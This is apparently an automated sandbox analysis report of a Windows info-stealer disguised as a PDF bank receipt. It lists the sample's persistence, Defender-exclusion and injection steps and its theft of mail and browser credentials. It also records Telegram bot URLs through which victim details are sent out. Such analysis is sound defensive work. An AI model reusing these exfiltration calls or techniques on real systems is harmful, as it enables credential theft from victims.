Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7656, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: teXfNv.exe PID: 7888, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1592453 Sample: rDEKONT-1_16_2025__75kb__pdf.exe Startdate: 16/01/2025 Architecture: WINDOWS Score: 100 48 reallyfreegeoip.org 2->48 50 api.telegram.org 2->50 52 2 other IPs or domains 2->52 54 Suricata IDS alerts for network traffic 2->54 56 Found malware configuration 2->56 58 Malicious sample detected (through community Yara rule) 2->58 64 12 other signatures 2->64 8 rDEKONT-1_16_2025__75kb__pdf.exe 7 2->8         started        12 teXfNv.exe 5 2->12         started        signatures3 60 Tries to detect the country of the analysis system (by using the IP) 48->60 62 Uses the Telegram API (likely for C&C communication) 50->62 process4 file5 34 C:\Users\user\AppData\Roaming\teXfNv.exe, PE32 8->34 dropped 36 C:\Users\user\...\teXfNv.exe:Zone.Identifier, ASCII 8->36 dropped 38 C:\Users\user\AppData\Local\...\tmpB0EF.tmp, XML 8->38 dropped 40 C:\...\rDEKONT-1_16_2025__75kb__pdf.exe.log, ASCII 8->40 dropped 66 Uses schtasks.exe or at.exe to add and modify task schedules 8->66 68 Adds a directory exclusion to Windows Defender 8->68 70 Injects a PE file into a foreign processes 8->70 14 powershell.exe 23 8->14         started        17 rDEKONT-1_16_2025__75kb__pdf.exe 15 2 8->17         started        20 schtasks.exe 1 8->20         started        72 Antivirus detection for dropped file 12->72 74 Multi AV Scanner detection for dropped file 12->74 76 Machine Learning detection for dropped file 12->76 22 teXfNv.exe 12->22         started        24 schtasks.exe 12->24         started        signatures6 process7 dnsIp8 78 Loading BitLocker PowerShell Module 14->78 26 WmiPrvSE.exe 14->26         started        28 conhost.exe 14->28         started        42 checkip.dyndns.com 132.226.247.73, 49733, 49737, 49740 UTMEMUS United States 17->42 44 api.telegram.org 149.154.167.220, 443, 49764, 49775 TELEGRAMRU United Kingdom 17->44 46 reallyfreegeoip.org 104.21.64.1, 443, 49734, 49735 CLOUDFLARENETUS United States 17->46 30 conhost.exe 20->30         started        80 Tries to steal Mail credentials (via file / registry access) 22->80 82 Tries to harvest and steal browser information (history, passwords, etc) 22->82 32 conhost.exe 24->32         started        signatures9 process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false
104.21.64.1
 reallyfreegeoip.org United States
13335 CLOUDFLARENETUS false
132.226.247.73
 checkip.dyndns.com United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
reallyfreegeoip.org 104.21.64.1 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 132.226.247.73 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://reallyfreegeoip.org/xml/8.46.123.189 false
    		high
    http://checkip.dyndns.org/ false
      		high
      https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:116938%0D%0ADate%20and%20Time:%2016/01/2025%20/%2012:17:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20116938%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
        		high
        https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:116938%0D%0ADate%20and%20Time:%2016/01/2025%20/%2013:16:46%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20116938%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
          		high